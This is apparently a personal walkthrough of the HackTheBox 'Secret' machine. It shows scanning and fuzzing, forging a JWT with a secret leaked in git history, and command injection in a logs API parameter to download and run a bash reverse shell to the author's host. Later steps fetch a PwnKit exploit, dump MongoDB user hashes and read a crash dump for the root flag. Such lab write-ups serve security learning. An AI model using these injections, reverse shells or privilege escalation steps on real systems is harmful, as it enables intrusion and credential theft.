/etc/hosts
1 | 10.10.11.120 secret.htb |
nmap
1 | nmap -sV -p- 10.10.11.120 |
nmap is too slow I will try rust
rustscan
https://github.com/RustScan/RustScan
1 | rustscan -a secret.htb --range 1-10000 |
nmap port 3000
1 | nmap -sV secret.htb -p 3000 |
fuzz
1 | ffuf -w Documents/wordlist/directory-list-2.3-medium.txt -u http://secret.htb/FUZZ |
node.js api
API
Register

I’m gonna use a plugin to post my requests, you can do it with curl.

Login


I have a token.
Token

This is mu token:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWY2Y2U1YzNiMTgxNTA0NjMxOGY5NjAiLCJuYW1lIjoicGVhbnV0IiwiZW1haWwiOiJyb290QHJvb3QuY29tIiwiaWF0IjoxNjQzNTY0NzY2fQ.s-jTYtdx1chd9m2XymrA_tDefcwOciKT8UHNS1H4qHk |
I have to decode the second part.
1 | echo "eyJfaWQiOiI2MWY2Y2U1YzNiMTgxNTA0NjMxOGY5NjAiLCJuYW1lIjoicGVhbnV0IiwiZW1haWwiOiJyb290QHJvb3QuY29tIiwiaWF0IjoxNjQzNTY0NzY2fQ" | base64 --decode |
Maybe I can recreate the payload with
dasith
Download file

http://secret.htb:3000/download/files.zip
See history
https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History
1 | git log -p -2 |
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
And the more important.
href=”https://www.youtube.com/watch?v=dQw4w9WgXcQ">secure! this has everything to make ur project secure.
Create the token

you have to change the name and set the secret in VERIFY SIGNATURE.
Login as admin

… where is my fucking FLag!!!
In the git directory

I have something to do with logs, but I don’t know how to add a parameter.
https://www.codegrepper.com/code-examples/javascript/req+query+params+express
Now I know lol.
Add the parameter.

Exploit
create the payload
rs.sh
1 | bash -i >& /dev/tcp/10.10.15.22/4846 0>&1 |
Listen
1 | nc -lvp 4846 |
Create a http server to download the payload.
1 | python2.7 -m SimpleHTTPServer |
Download the payload
http://secret.htb:3000/api/logs?file=;wget http://10.10.15.22:8000/rs.sh


Yeah!
Execute the payload
http://secret.htb:3000/api/logs?file=;bash rs.sh


I have a shell as dashith.
Get root
Download the exploit
On my computer
1 | wget https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py |
On the target
1 | wget http://10.10.15.22:8000/pol.py |
Exploit
1 | python3 pol.py |

It’s not finish
This exploit is a cheat code, it’s too easy and I want to learn.
Smart enum
1 | wget http://10.10.15.22:8000/lse.sh |
1 | LSE Version: 3.9 |
ps aux
1 | ps aux |grep mongo |
1 | ps aux |grep mongo |
MongoDB
https://stackoverflow.com/questions/24985684/mongodb-show-all-contents-from-all-collections
Nice and short doc, I like it.
1 | dasith@secret:~/local-web$ mongo |
And list the db.
1 | show dbs |
let’s use auth-web.
1 | use auth-web |
And show the collections, is it la tables?
1 | show collections |
1 | db.users.find() |
Whruyyyyy!!!!!!
Decrypt the password
[email protected] this use is cool.
1 | $2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW |

I can’t do it, it’s too hard.
/opt/count
I saw this program with the lse script.
When you run it he ask a file to read and tell you this:

I’m trying to read the root flag.
The program can read it.
Hint
I got the flag from a coredump file.
Someone forgot to remove it.
So I have to kill count.
Spawn 2 shell
One shell with the /opt/count
One shelll to kill it

In /var/crash we have this file: _opt_count.1000.crash
apport-unpack
https://askubuntu.com/questions/434431/how-can-i-read-a-crash-file-from-var-crash
1 | apport-unpack _opt_count.1000.crash /tmp/wruyyyyy |

It’s over, it’s faster with polkit exploit.